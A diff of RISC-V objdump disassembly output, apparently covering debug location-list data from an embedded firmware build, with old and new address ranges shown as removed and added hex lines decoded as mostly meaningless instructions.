-    2202:	0000                	unimp
-    2204:	0001                	nop
-    2206:	005d                	c.nop	23
-    2208:	0000                	unimp
-    220a:	0000                	unimp
-    220c:	0000                	unimp
-    220e:	6200                	flw	fs0,0(a2)
-    2210:	0000                	unimp
-    2212:	6c00                	flw	fs0,24(s0)
-    2214:	0000                	unimp
-    2216:	0100                	addi	s0,sp,128
-    2218:	5f00                	lw	s0,56(a4)
-    221a:	0072                	c.slli	zero,0x1c
-    221c:	0000                	unimp
-    221e:	0090                	addi	a2,sp,64
-    2220:	0000                	unimp
-    2222:	0001                	nop
-    2224:	005d                	c.nop	23
-    2226:	0000                	unimp
-    2228:	0000                	unimp
-    222a:	0000                	unimp
-    222c:	8800                	0x8800
-    222e:	0000                	unimp
-    2230:	9200                	0x9200
-    2232:	0000                	unimp
-    2234:	0100                	addi	s0,sp,128
-    2236:	5f00                	lw	s0,56(a4)
-    2238:	0098                	addi	a4,sp,64
-    223a:	0000                	unimp
-    223c:	00aa                	slli	ra,ra,0xa
-    223e:	0000                	unimp
-    2240:	0001                	nop
-    2242:	005a                	c.slli	zero,0x16
-    2244:	0000                	unimp
-    2246:	0000                	unimp
-    2248:	0000                	unimp
-    224a:	7200                	flw	fs0,32(a2)
-    224c:	0000                	unimp
-    224e:	9800                	0x9800
-    2250:	0000                	unimp
-    2252:	0100                	addi	s0,sp,128
-    2254:	5e00                	lw	s0,56(a2)
-    2256:	0098                	addi	a4,sp,64
-    2258:	0000                	unimp
-    225a:	00aa                	slli	ra,ra,0xa
-    225c:	0000                	unimp
-    225e:	0001                	nop
-    2260:	005d                	c.nop	23
-    2262:	0000                	unimp
-    2264:	0000                	unimp
-    2266:	0000                	unimp
-    2268:	c800                	sw	s0,16(s0)
-    226a:	0000                	unimp
-    226c:	f400                	fsw	fs0,40(s0)
-    226e:	0000                	unimp
-    2270:	0100                	addi	s0,sp,128
-    2272:	6000                	flw	fs0,0(s0)
-    2274:	0150                	addi	a2,sp,132
-    2276:	0000                	unimp
-    2278:	0162                	slli	sp,sp,0x18
-    227a:	0000                	unimp
-    227c:	0001                	nop
-    227e:	0060                	addi	s0,sp,12
-    2280:	0000                	unimp
-    2282:	0000                	unimp
-    2284:	0000                	unimp
-    2286:	d800                	sw	s0,48(s0)
-    2288:	0000                	unimp
-    228a:	e800                	fsw	fs0,16(s0)
-    228c:	0000                	unimp
-    228e:	0100                	addi	s0,sp,128
-    2290:	5f00                	lw	s0,56(a4)
+ 5ee:	0004                	0x4
+ 5f0:	9f5a01f3          	0x9f5a01f3
 	...
-    229a:	00f8                	addi	a4,sp,76
-    229c:	0000                	unimp
-    229e:	0150                	addi	a2,sp,132
-    22a0:	0000                	unimp
-    22a2:	0001                	nop
-    22a4:	005d                	c.nop	23
-    22a6:	0000                	unimp
-    22a8:	0000                	unimp
-    22aa:	0000                	unimp
-    22ac:	fe00                	fsw	fs0,56(a2)
-    22ae:	0000                	unimp
-    22b0:	3a00                	fld	fs0,48(a2)
-    22b2:	0001                	nop
-    22b4:	0100                	addi	s0,sp,128
-    22b6:	5f00                	lw	s0,56(a4)
-    22b8:	013a                	slli	sp,sp,0xe
-    22ba:	0000                	unimp
-    22bc:	0150                	addi	a2,sp,132
-    22be:	0000                	unimp
-    22c0:	00800007          	0x800007
-    22c4:	2440                	fld	fs0,136(s0)
-    22c6:	2540                	fld	fs0,136(a0)
-    22c8:	009f 0000 0000      	0x9f
-    22ce:	0000                	unimp
-    22d0:	0a00                	addi	s0,sp,272
-    22d2:	0001                	nop
-    22d4:	1200                	addi	s0,sp,288
-    22d6:	0001                	nop
-    22d8:	0100                	addi	s0,sp,128
-    22da:	5b00                	lw	s0,48(a4)
+ 5fc:	1f10                	addi	a2,sp,944
+ 5fe:	2040                	fld	fs0,128(s0)
+ 600:	1f20                	addi	s0,sp,952
+ 602:	2040                	fld	fs0,128(s0)
+ 604:	0001                	nop
+ 606:	205a                	fld	ft0,400(sp)
+ 608:	401f 4620 4020      	0x40204620401f
+ 60e:	0420                	addi	s0,sp,520
+ 610:	f300                	fsw	fs0,32(a4)
+ 612:	5a01                	li	s4,-32
+ 614:	009f 0000 0000      	0x9f
+ 61a:	0000                	unimp
+ 61c:	1000                	addi	s0,sp,32
+ 61e:	401f 1e20 401f      	0x401f1e20401f
+ 624:	0120                	addi	s0,sp,136
+ 626:	5b00                	lw	s0,48(a4)
+ 628:	1f1e                	slli	t5,t5,0x27
+ 62a:	2040                	fld	fs0,128(s0)
+ 62c:	1fa0                	addi	s0,sp,1016
+ 62e:	2040                	fld	fs0,128(s0)
+ 630:	0001                	nop
+ 632:	a064                	fsd	fs1,192(s0)
+ 634:	401f a620 401f      	0x401fa620401f
+ 63a:	0420                	addi	s0,sp,520
+ 63c:	f300                	fsw	fs0,32(a4)
+ 63e:	5b01                	li	s6,-32
+ 640:	a69f 401f 4620      	0x4620401fa69f
+ 646:	4020                	lw	s0,64(s0)
+ 648:	0120                	addi	s0,sp,136
+ 64a:	6400                	flw	fs0,8(s0)
 	...
-    22e4:	0132                	slli	sp,sp,0xc
-    22e6:	0000                	unimp
-    22e8:	0136                	slli	sp,sp,0xd
-    22ea:	0000                	unimp
-    22ec:	0001                	nop
-    22ee:	0000005b          	0x5b
-    22f2:	0000                	unimp
-    22f4:	0000                	unimp
-    22f6:	0600                	addi	s0,sp,768
-    22f8:	0001                	nop
-    22fa:	0c00                	addi	s0,sp,528
-    22fc:	0001                	nop
-    22fe:	0100                	addi	s0,sp,128
-    2300:	5e00                	lw	s0,56(a2)
-    2302:	0112                	slli	sp,sp,0x4
-    2304:	0000                	unimp
-    2306:	0126                	slli	sp,sp,0x9
-    2308:	0000                	unimp
-    230a:	0001                	nop
-    230c:	265e                	fld	fa2,464(sp)
-    230e:	0001                	nop
-    2310:	3200                	fld	fs0,32(a2)
-    2312:	0001                	nop
-    2314:	0100                	addi	s0,sp,128
-    2316:	5b00                	lw	s0,48(a4)
+ 654:	1f88                	addi	a0,sp,1008
+ 656:	2040                	fld	fs0,128(s0)
+ 658:	1f92                	slli	t6,t6,0x24
+ 65a:	2040                	fld	fs0,128(s0)
+ 65c:	0001                	nop
+ 65e:	0058                	addi	a4,sp,4
+ 660:	0000                	unimp
+ 662:	0000                	unimp
+ 664:	0000                	unimp
+ 666:	6400                	flw	fs0,8(s0)
+ 668:	401e                	0x401e
+ 66a:	7220                	flw	fs0,96(a2)
+ 66c:	401e                	0x401e
+ 66e:	0120                	addi	s0,sp,136
+ 670:	5a00                	lw	s0,48(a2)
+ 672:	1e72                	slli	t3,t3,0x3c
+ 674:	2040                	fld	fs0,128(s0)
+ 676:	1f10                	addi	a2,sp,944
+ 678:	2040                	fld	fs0,128(s0)
+ 67a:	0004                	0x4
+ 67c:	9f5a01f3          	0x9f5a01f3
 	...
-    2320:	012a                	slli	sp,sp,0xa
-    2322:	0000                	unimp
-    2324:	013c                	addi	a5,sp,136
-    2326:	0000                	unimp
-    2328:	0001                	nop
-    232a:	3c5e                	fld	fs8,496(sp)
-    232c:	0001                	nop
-    232e:	5000                	lw	s0,32(s0)
-    2330:	0001                	nop
-    2332:	0100                	addi	s0,sp,128
-    2334:	5a00                	lw	s0,48(a2)
+ 688:	1e64                	addi	s1,sp,828
+ 68a:	2040                	fld	fs0,128(s0)
+ 68c:	20401e83          	lh	t4,516(zero) # 204 <__stack_size-0x5fc>
+ 690:	0001                	nop
+ 692:	401e835b          	0x401e835b
+ 696:	0020                	addi	s0,sp,8
+ 698:	401f 0120 5900      	0x59000120401f
+ 69e:	1f00                	addi	s0,sp,944
+ 6a0:	2040                	fld	fs0,128(s0)
+ 6a2:	1f10                	addi	a2,sp,944
+ 6a4:	2040                	fld	fs0,128(s0)
+ 6a6:	0004                	0x4
+ 6a8:	9f5b01f3          	0x9f5b01f3
 	...
-    233e:	0112                	slli	sp,sp,0x4
-    2340:	0000                	unimp
-    2342:	0126                	slli	sp,sp,0x9
-    2344:	0000                	unimp
-    2346:	0001                	nop
-    2348:	0001365b          	0x1365b
-    234c:	5000                	lw	s0,32(s0)
-    234e:	0001                	nop
-    2350:	0100                	addi	s0,sp,128
-    2352:	5b00                	lw	s0,48(a4)
+ 6b4:	1ea8                	addi	a0,sp,888
+ 6b6:	2040                	fld	fs0,128(s0)
+ 6b8:	1eb0                	addi	a2,sp,888
+ 6ba:	2040                	fld	fs0,128(s0)
+ 6bc:	0001                	nop
+ 6be:	b05a                	fsd	fs6,32(sp)
+ 6c0:	401e                	0x401e
+ 6c2:	0a20                	addi	s0,sp,280
+ 6c4:	401f 0120 6400      	0x64000120401f
+ 6ca:	1f0a                	slli	t5,t5,0x22
+ 6cc:	2040                	fld	fs0,128(s0)
+ 6ce:	20401f0f          	0x20401f0f
+ 6d2:	0001                	nop
+ 6d4:	005a                	c.slli	zero,0x16
+ 6d6:	0000                	unimp
+ 6d8:	0000                	unimp
+ 6da:	0000                	unimp
+ 6dc:	a200                	fsd	fs0,0(a2)
+ 6de:	401e                	0x401e
+ 6e0:	fc20                	fsw	fs0,120(s0)
+ 6e2:	401e                	0x401e
+ 6e4:	0120                	addi	s0,sp,136
+ 6e6:	5800                	lw	s0,48(s0)
 	...
-    235c:	0182                	c.slli64	gp
-    235e:	0000                	unimp
-    2360:	01d2                	slli	gp,gp,0x14
-    2362:	0000                	unimp
-    2364:	0001                	nop
-    2366:	005f 0000 0000      	0x5f
-    236c:	0000                	unimp
-    236e:	8200                	0x8200
-    2370:	0001                	nop
-    2372:	be00                	fsd	fs0,56(a2)
-    2374:	0001                	nop
-    2376:	0100                	addi	s0,sp,128
-    2378:	5b00                	lw	s0,48(a4)
-    237a:	01be                	slli	gp,gp,0xf
-    237c:	0000                	unimp
-    237e:	01d2                	slli	gp,gp,0x14
-    2380:	0000                	unimp
-    2382:	00800007          	0x800007
-    2386:	2440                	fld	fs0,136(s0)
-    2388:	2540                	fld	fs0,136(a0)
-    238a:	009f 0000 0000      	0x9f
-    2390:	0000                	unimp
-    2392:	8a00                	0x8a00
-    2394:	0001                	nop
-    2396:	9400                	0x9400
-    2398:	0001                	nop
-    239a:	0100                	addi	s0,sp,128
-    239c:	5d00                	lw	s0,56(a0)
+ 6f0:	1eb4                	addi	a3,sp,888
+ 6f2:	2040                	fld	fs0,128(s0)
+ 6f4:	1eb8                	addi	a4,sp,888
+ 6f6:	2040                	fld	fs0,128(s0)
+ 6f8:	0002                	c.slli64	zero
+ 6fa:	9f30                	0x9f30
+ 6fc:	1eb8                	addi	a4,sp,888
+ 6fe:	2040                	fld	fs0,128(s0)
+ 700:	1ed0                	addi	a2,sp,884
+ 702:	2040                	fld	fs0,128(s0)
+ 704:	0001                	nop
+ 706:	401eda63          	bge	t4,ra,b1a <__stack_size+0x31a>
+ 70a:	0420                	addi	s0,sp,520
+ 70c:	401f 0120 6300      	0x63000120401f
 	...
-    23a6:	01b4                	addi	a3,sp,200
-    23a8:	0000                	unimp
-    23aa:	01ba                	slli	gp,gp,0xe
-    23ac:	0000                	unimp
-    23ae:	0001                	nop
-    23b0:	005d                	c.nop	23
-    23b2:	0000                	unimp
-    23b4:	0000                	unimp
-    23b6:	0000                	unimp
-    23b8:	8200                	0x8200
-    23ba:	0001                	nop
-    23bc:	8c00                	0x8c00
-    23be:	0001                	nop
-    23c0:	0100                	addi	s0,sp,128
-    23c2:	5e00                	lw	s0,56(a2)
-    23c4:	0194                	addi	a3,sp,192
-    23c6:	0000                	unimp
-    23c8:	01a8                	addi	a0,sp,200
-    23ca:	0000                	unimp
-    23cc:	0001                	nop
-    23ce:	a85e                	fsd	fs7,16(sp)
-    23d0:	0001                	nop
-    23d2:	b400                	fsd	fs0,40(s0)
-    23d4:	0001                	nop
-    23d6:	0100                	addi	s0,sp,128
-    23d8:	5d00                	lw	s0,56(a0)
+ 71a:	1eb4                	addi	a3,sp,888
+ 71c:	2040                	fld	fs0,128(s0)
+ 71e:	1eb8                	addi	a4,sp,888
+ 720:	2040                	fld	fs0,128(s0)
+ 722:	0002                	c.slli64	zero
+ 724:	9f31                	0x9f31
 	...
-    23e2:	01ac                	addi	a1,sp,200
-    23e4:	0000                	unimp
-    23e6:	01b6                	slli	gp,gp,0xd
-    23e8:	0000                	unimp
-    23ea:	0001                	nop
-    23ec:	be5e                	fsd	fs7,312(sp)
-    23ee:	0001                	nop
-    23f0:	d200                	sw	s0,32(a2)
-    23f2:	0001                	nop
-    23f4:	0100                	addi	s0,sp,128
-    23f6:	5b00                	lw	s0,48(a4)
+ 72e:	1eba                	slli	t4,t4,0x2e
+ 730:	2040                	fld	fs0,128(s0)
+ 732:	1eca                	slli	t4,t4,0x32
+ 734:	2040                	fld	fs0,128(s0)
+ 736:	0002                	c.slli64	zero
+ 738:	9f40                	0x9f40
+ 73a:	1eca                	slli	t4,t4,0x32
+ 73c:	2040                	fld	fs0,128(s0)
+ 73e:	1ed5                	addi	t4,t4,-11
+ 740:	2040                	fld	fs0,128(s0)
+ 742:	0001                	nop
+ 744:	005c                	addi	a5,sp,4
 	...
-    2400:	0194                	addi	a3,sp,192
-    2402:	0000                	unimp
-    2404:	01a8                	addi	a0,sp,200
-    2406:	0000                	unimp
-    2408:	0001                	nop
-    240a:	ba5d                	j	1dc0 <__stack_size+0x15c0>
-    240c:	0001                	nop
-    240e:	d200                	sw	s0,32(a2)
-    2410:	0001                	nop
-    2412:	0100                	addi	s0,sp,128
-    2414:	5d00                	lw	s0,56(a0)
+ 752:	0000                	unimp
+ 754:	0100                	addi	s0,sp,128
+ 756:	5a00                	lw	s0,48(a2)
 	...
-    241e:	01d6                	slli	gp,gp,0x15
-    2420:	0000                	unimp
-    2422:	0236                	slli	tp,tp,0xd
-    2424:	0000                	unimp
-    2426:	0001                	nop
-    2428:	005d                	c.nop	23
-    242a:	0000                	unimp
-    242c:	0000                	unimp
-    242e:	0000                	unimp
-    2430:	e600                	fsw	fs0,8(a2)
-    2432:	0001                	nop
-    2434:	fe00                	fsw	fs0,56(a2)
-    2436:	0001                	nop
-    2438:	0100                	addi	s0,sp,128
-    243a:	5f00                	lw	s0,56(a4)
+ 760:	0001                	nop
+ 762:	00000063          	beqz	zero,762 <__stack_size-0x9e>
+ 766:	0000                	unimp
+ 768:	0000                	unimp
+ 76a:	0400                	addi	s0,sp,512
+ 76c:	f300                	fsw	fs0,32(a4)
+ 76e:	5a01                	li	s4,-32
+ 770:	009f 0000 0000      	0x9f
+ 776:	0000                	unimp
+ 778:	0100                	addi	s0,sp,128
+ 77a:	6300                	flw	fs0,0(a4)
 	...
-    2444:	0212                	slli	tp,tp,0x4
-    2446:	0000                	unimp
-    2448:	021c                	addi	a5,sp,256
-    244a:	0000                	unimp
-    244c:	0001                	nop
-    244e:	005a                	c.slli	zero,0x16
-    2450:	0000                	unimp
-    2452:	0000                	unimp
-    2454:	0000                	unimp
-    2456:	0800                	addi	s0,sp,16
-    2458:	1c000003          	lb	zero,448(zero) # 1c0 <__stack_size-0x640>
-    245c:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2460:	5f00                	lw	s0,56(a4)
-    2462:	0320                	addi	s0,sp,392
-    2464:	0000                	unimp
-    2466:	0322                	slli	t1,t1,0x8
-    2468:	0000                	unimp
-    246a:	0001                	nop
-    246c:	225c                	fld	fa5,128(a2)
-    246e:	26000003          	lb	zero,608(zero) # 260 <__stack_size-0x5a0>
-    2472:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2476:	5f00                	lw	s0,56(a4)
+ 78c:	0002                	c.slli64	zero
+ 78e:	9f31                	0x9f31
 	...
-    2480:	025e                	slli	tp,tp,0x17
-    2482:	0000                	unimp
-    2484:	02c2                	slli	t0,t0,0x10
-    2486:	0000                	unimp
-    2488:	0001                	nop
-    248a:	c26e                	sw	s11,4(sp)
-    248c:	0002                	c.slli64	zero
-    248e:	4000                	lw	s0,0(s0)
-    2490:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
-    2494:	8c00                	0x8c00
-    2496:	4000                	lw	s0,0(s0)
-    2498:	9f25                	0x9f25
+ 798:	0001                	nop
+ 79a:	0058                	addi	a4,sp,4
+ 79c:	0000                	unimp
+ 79e:	0000                	unimp
+ 7a0:	0000                	unimp
+ 7a2:	0100                	addi	s0,sp,128
+ 7a4:	5800                	lw	s0,48(s0)
 	...
-    24a2:	025e                	slli	tp,tp,0x17
-    24a4:	0000                	unimp
-    24a6:	029e                	slli	t0,t0,0x7
-    24a8:	0000                	unimp
-    24aa:	0001                	nop
-    24ac:	00029e5b          	0x29e5b
-    24b0:	4000                	lw	s0,0(s0)
-    24b2:	07000003          	lb	zero,112(zero) # 70 <__stack_size-0x790>
-    24b6:	8c00                	0x8c00
-    24b8:	4000                	lw	s0,0(s0)
-    24ba:	4024                	lw	s1,64(s0)
-    24bc:	9f25                	0x9f25
+ 7ae:	2338                	fld	fa4,64(a4)
+ 7b0:	2040                	fld	fs0,128(s0)
+ 7b2:	2345                	jal	d52 <__stack_size+0x552>
+ 7b4:	2040                	fld	fs0,128(s0)
+ 7b6:	0001                	nop
+ 7b8:	455a                	lw	a0,148(sp)
+ 7ba:	8a204023          	0x8a204023
+ 7be:	04204023          	0x4204023
+ 7c2:	f300                	fsw	fs0,32(a4)
+ 7c4:	5a01                	li	s4,-32
+ 7c6:	009f 0000 0000      	0x9f
+ 7cc:	0000                	unimp
+ 7ce:	3800                	fld	fs0,48(s0)
+ 7d0:	45204023          	0x45204023
+ 7d4:	01204023          	0x1204023
+ 7d8:	5b00                	lw	s0,48(a4)
+ 7da:	2345                	jal	d7a <__stack_size+0x57a>
+ 7dc:	2040                	fld	fs0,128(s0)
+ 7de:	235e                	fld	ft6,464(sp)
+ 7e0:	2040                	fld	fs0,128(s0)
+ 7e2:	0001                	nop
+ 7e4:	5e58                	lw	a4,60(a2)
+ 7e6:	66204023          	0x66204023
+ 7ea:	04204023          	0x4204023
+ 7ee:	f300                	fsw	fs0,32(a4)
+ 7f0:	5b01                	li	s6,-32
+ 7f2:	669f 4023 8a20      	0x8a204023669f
+ 7f8:	01204023          	0x1204023
+ 7fc:	5800                	lw	s0,48(s0)
 	...
-    24c6:	0266                	slli	tp,tp,0x19
-    24c8:	0000                	unimp
-    24ca:	027a                	slli	tp,tp,0x1e
-    24cc:	0000                	unimp
-    24ce:	0001                	nop
-    24d0:	7a5e                	flw	fs4,244(sp)
-    24d2:	0002                	c.slli64	zero
-    24d4:	c000                	sw	s0,0(s0)
-    24d6:	0002                	c.slli64	zero
-    24d8:	0100                	addi	s0,sp,128
-    24da:	5c00                	lw	s0,56(s0)
+ 806:	2338                	fld	fa4,64(a4)
+ 808:	2040                	fld	fs0,128(s0)
+ 80a:	2345                	jal	daa <__stack_size+0x5aa>
+ 80c:	2040                	fld	fs0,128(s0)
+ 80e:	0001                	nop
+ 810:	455c                	lw	a5,12(a0)
+ 812:	5a204023          	0x5a204023
+ 816:	01204023          	0x1204023
+ 81a:	5900                	lw	s0,48(a0)
+ 81c:	235a                	fld	ft6,400(sp)
+ 81e:	2040                	fld	fs0,128(s0)
+ 820:	2366                	fld	ft6,88(sp)
+ 822:	2040                	fld	fs0,128(s0)
+ 824:	0004                	0x4
+ 826:	9f5c01f3          	0x9f5c01f3
+ 82a:	2366                	fld	ft6,88(sp)
+ 82c:	2040                	fld	fs0,128(s0)
+ 82e:	2388                	fld	fa0,0(a5)
+ 830:	2040                	fld	fs0,128(s0)
+ 832:	0001                	nop
+ 834:	8859                	andi	s0,s0,22
+ 836:	8a204023          	0x8a204023
+ 83a:	04204023          	0x4204023
+ 83e:	f300                	fsw	fs0,32(a4)
+ 840:	5c01                	li	s8,-32
+ 842:	009f 0000 0000      	0x9f
+ 848:	0000                	unimp
+ 84a:	5600                	lw	s0,40(a2)
+ 84c:	5a204023          	0x5a204023
+ 850:	06204023          	0x6204023
+ 854:	7b00                	flw	fs0,48(a4)
+ 856:	7800                	flw	fs0,48(s0)
+ 858:	1c00                	addi	s0,sp,560
+ 85a:	669f 4023 8220      	0x82204023669f
+ 860:	06204023          	0x6204023
+ 864:	7b00                	flw	fs0,48(a4)
+ 866:	7800                	flw	fs0,48(s0)
+ 868:	1c00                	addi	s0,sp,560
+ 86a:	829f 4023 8420      	0x84204023829f
+ 870:	08204023          	0x8204023
+ 874:	7b00                	flw	fs0,48(a4)
+ 876:	7800                	flw	fs0,48(s0)
+ 878:	1c00                	addi	s0,sp,560
+ 87a:	849f0123          	sb	s1,-1982(t5) # 1a842 <__stack_size+0x1a042>
+ 87e:	86204023          	0x86204023
+ 882:	06204023          	0x6204023
+ 886:	7b00                	flw	fs0,48(a4)
+ 888:	7800                	flw	fs0,48(s0)
+ 88a:	1c00                	addi	s0,sp,560
+ 88c:	009f 0000 0000      	0x9f
+ 892:	0000                	unimp
+ 894:	fe00                	fsw	fs0,56(a2)
+ 896:	4022                	0x4022
+ 898:	0b20                	addi	s0,sp,408
+ 89a:	01204023          	0x1204023
+ 89e:	5a00                	lw	s0,48(a2)
+ 8a0:	2040230b          	0x2040230b
+ 8a4:	2338                	fld	fa4,64(a4)
+ 8a6:	2040                	fld	fs0,128(s0)
+ 8a8:	0004                	0x4
+ 8aa:	9f5a01f3          	0x9f5a01f3
 	...
-    24e4:	0294                	addi	a3,sp,320
-    24e6:	0000                	unimp
-    24e8:	02b0                	addi	a2,sp,328
-    24ea:	0000                	unimp
-    24ec:	0001                	nop
-    24ee:	b05d                	j	1d94 <__stack_size+0x1594>
-    24f0:	0002                	c.slli64	zero
-    24f2:	dc00                	sw	s0,56(s0)
-    24f4:	0002                	c.slli64	zero
-    24f6:	0100                	addi	s0,sp,128
-    24f8:	5f00                	lw	s0,56(a4)
+ 8b6:	22fe                	fld	ft5,472(sp)
+ 8b8:	2040                	fld	fs0,128(s0)
+ 8ba:	2040230b          	0x2040230b
+ 8be:	0001                	nop
+ 8c0:	40230b5b          	0x40230b5b
+ 8c4:	1420                	addi	s0,sp,552
+ 8c6:	01204023          	0x1204023
+ 8ca:	5800                	lw	s0,48(s0)
+ 8cc:	2314                	fld	fa3,0(a4)
+ 8ce:	2040                	fld	fs0,128(s0)
+ 8d0:	231e                	fld	ft6,448(sp)
+ 8d2:	2040                	fld	fs0,128(s0)
+ 8d4:	0006                	c.slli	zero,0x1
+ 8d6:	0078                	addi	a4,sp,12
+ 8d8:	007a                	c.slli	zero,0x1e
+ 8da:	9f22                	add	t5,t5,s0
+ 8dc:	2328                	fld	fa0,64(a4)
+ 8de:	2040                	fld	fs0,128(s0)
+ 8e0:	2332                	fld	ft6,264(sp)
+ 8e2:	2040                	fld	fs0,128(s0)
+ 8e4:	0008                	0x8
+ 8e6:	0078                	addi	a4,sp,12
+ 8e8:	007a                	c.slli	zero,0x1e
+ 8ea:	2322                	fld	ft6,8(sp)
+ 8ec:	9f01                	0x9f01
+ 8ee:	2332                	fld	ft6,264(sp)
+ 8f0:	2040                	fld	fs0,128(s0)
+ 8f2:	2334                	fld	fa3,64(a4)
+ 8f4:	2040                	fld	fs0,128(s0)
+ 8f6:	0006                	c.slli	zero,0x1
+ 8f8:	0078                	addi	a4,sp,12
+ 8fa:	007a                	c.slli	zero,0x1e
+ 8fc:	9f22                	add	t5,t5,s0
+ 8fe:	2334                	fld	fa3,64(a4)
+ 900:	2040                	fld	fs0,128(s0)
+ 902:	2338                	fld	fa4,64(a4)
+ 904:	2040                	fld	fs0,128(s0)
+ 906:	0001                	nop
+ 908:	0058                	addi	a4,sp,4
+ 90a:	0000                	unimp
+ 90c:	0000                	unimp
+ 90e:	0000                	unimp
+ 910:	fe00                	fsw	fs0,56(a2)
+ 912:	4022                	0x4022
+ 914:	0b20                	addi	s0,sp,408
+ 916:	01204023          	0x1204023
+ 91a:	5c00                	lw	s0,56(s0)
+ 91c:	2040230b          	0x2040230b
+ 920:	2324                	fld	fs1,64(a4)
+ 922:	2040                	fld	fs0,128(s0)
+ 924:	0001                	nop
+ 926:	2459                	jal	bac <__stack_size+0x3ac>
+ 928:	28204023          	0x28204023
+ 92c:	04204023          	0x4204023
+ 930:	f300                	fsw	fs0,32(a4)
+ 932:	5c01                	li	s8,-32
+ 934:	289f 4023 3820      	0x38204023289f
+ 93a:	01204023          	0x1204023
+ 93e:	5900                	lw	s0,48(a0)
 	...
-    2502:	025e                	slli	tp,tp,0x17
-    2504:	0000                	unimp
-    2506:	0268                	addi	a0,sp,268
-    2508:	0000                	unimp
-    250a:	0001                	nop
-    250c:	6e5c                	flw	fa5,28(a2)
-    250e:	0002                	c.slli64	zero
-    2510:	7600                	flw	fs0,40(a2)
-    2512:	0002                	c.slli64	zero
-    2514:	0100                	addi	s0,sp,128
-    2516:	5d00                	lw	s0,56(a0)
-    2518:	027a                	slli	tp,tp,0x1e
-    251a:	0000                	unimp
-    251c:	0294                	addi	a3,sp,320
-    251e:	0000                	unimp
-    2520:	0001                	nop
-    2522:	005d                	c.nop	23
-    2524:	0000                	unimp
-    2526:	0000                	unimp
-    2528:	0000                	unimp
-    252a:	9000                	0x9000
-    252c:	0002                	c.slli64	zero
-    252e:	9600                	0x9600
-    2530:	0002                	c.slli64	zero
-    2532:	0100                	addi	s0,sp,128
-    2534:	5600                	lw	s0,40(a2)
-    2536:	02a4                	addi	s1,sp,328
-    2538:	0000                	unimp
-    253a:	02ac                	addi	a1,sp,328
-    253c:	0000                	unimp
-    253e:	0001                	nop
-    2540:	0002b05b          	0x2b05b
-    2544:	2c00                	fld	fs0,24(s0)
-    2546:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    254a:	5b00                	lw	s0,48(a4)
+ 948:	2314                	fld	fa3,0(a4)
+ 94a:	2040                	fld	fs0,128(s0)
+ 94c:	231e                	fld	ft6,448(sp)
+ 94e:	2040                	fld	fs0,128(s0)
+ 950:	0001                	nop
+ 952:	285a                	fld	fa6,400(sp)
+ 954:	34204023          	0x34204023
+ 958:	01204023          	0x1204023
+ 95c:	5a00                	lw	s0,48(a2)
 	...
-    2554:	026e                	slli	tp,tp,0x1b
-    2556:	0000                	unimp
-    2558:	0290                	addi	a2,sp,320
-    255a:	0000                	unimp
-    255c:	0001                	nop
-    255e:	9056                	c.add	zero,s5
-    2560:	0002                	c.slli64	zero
-    2562:	9a00                	0x9a00
-    2564:	0002                	c.slli64	zero
-    2566:	0600                	addi	s0,sp,768
-    2568:	7b00                	flw	fs0,48(a4)
-    256a:	7e00                	flw	fs0,56(a2)
-    256c:	1e00                	addi	s0,sp,816
-    256e:	9a9f 0002 d400      	0xd40000029a9f
-    2574:	0002                	c.slli64	zero
-    2576:	0100                	addi	s0,sp,128
-    2578:	5e00                	lw	s0,56(a2)
+ 966:	231a                	fld	ft6,384(sp)
+ 968:	2040                	fld	fs0,128(s0)
+ 96a:	231e                	fld	ft6,448(sp)
+ 96c:	2040                	fld	fs0,128(s0)
+ 96e:	0001                	nop
+ 970:	285f 4023 3420      	0x34204023285f
+ 976:	01204023          	0x1204023
+ 97a:	5f00                	lw	s0,56(a4)
 	...
-    2582:	02dc                	addi	a5,sp,324
-    2584:	0000                	unimp
-    2586:	0306                	slli	t1,t1,0x1
-    2588:	0000                	unimp
-    258a:	0001                	nop
-    258c:	005f 0000 0000      	0x5f
-    2592:	0000                	unimp
-    2594:	f000                	fsw	fs0,32(s0)
-    2596:	0002                	c.slli64	zero
-    2598:	0200                	addi	s0,sp,256
-    259a:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    259e:	5e00                	lw	s0,56(a2)
-    25a0:	0302                	c.slli64	t1
-    25a2:	0000                	unimp
-    25a4:	0306                	slli	t1,t1,0x1
-    25a6:	0000                	unimp
-    25a8:	0008                	0x8
-    25aa:	007f                	0x7f
-    25ac:	2540                	fld	fs0,136(a0)
-    25ae:	0076                	c.slli	zero,0x1d
-    25b0:	9f22                	add	t5,t5,s0
+ 984:	22d0                	fld	fa2,128(a3)
+ 986:	2040                	fld	fs0,128(s0)
+ 988:	22dd                	jal	b6e <__stack_size+0x36e>
+ 98a:	2040                	fld	fs0,128(s0)
+ 98c:	0001                	nop
+ 98e:	dd5a                	sw	s6,184(sp)
+ 990:	4022                	0x4022
+ 992:	fe20                	fsw	fs0,120(a2)
+ 994:	4022                	0x4022
+ 996:	0420                	addi	s0,sp,520
+ 998:	f300                	fsw	fs0,32(a4)
+ 99a:	5a01                	li	s4,-32
+ 99c:	009f 0000 0000      	0x9f
+ 9a2:	0000                	unimp
+ 9a4:	d000                	sw	s0,32(s0)
+ 9a6:	4022                	0x4022
+ 9a8:	da20                	sw	s0,112(a2)
+ 9aa:	4022                	0x4022
+ 9ac:	0120                	addi	s0,sp,136
+ 9ae:	5b00                	lw	s0,48(a4)
+ 9b0:	22da                	fld	ft5,400(sp)
+ 9b2:	2040                	fld	fs0,128(s0)
+ 9b4:	22fe                	fld	ft5,472(sp)
+ 9b6:	2040                	fld	fs0,128(s0)
+ 9b8:	0004                	0x4
+ 9ba:	9f5b01f3          	0x9f5b01f3
 	...
-    25ba:	02e0                	addi	s0,sp,332
-    25bc:	0000                	unimp
-    25be:	02fa                	slli	t0,t0,0x1e
-    25c0:	0000                	unimp
-    25c2:	0001                	nop
-    25c4:	005d                	c.nop	23
-    25c6:	0000                	unimp
-    25c8:	0000                	unimp
-    25ca:	0000                	unimp
-    25cc:	e800                	fsw	fs0,16(s0)
-    25ce:	0002                	c.slli64	zero
-    25d0:	fe00                	fsw	fs0,56(a2)
-    25d2:	0002                	c.slli64	zero
-    25d4:	0100                	addi	s0,sp,128
-    25d6:	5c00                	lw	s0,56(s0)
+ 9c6:	22d0                	fld	fa2,128(a3)
+ 9c8:	2040                	fld	fs0,128(s0)
+ 9ca:	22dd                	jal	bb0 <__stack_size+0x3b0>
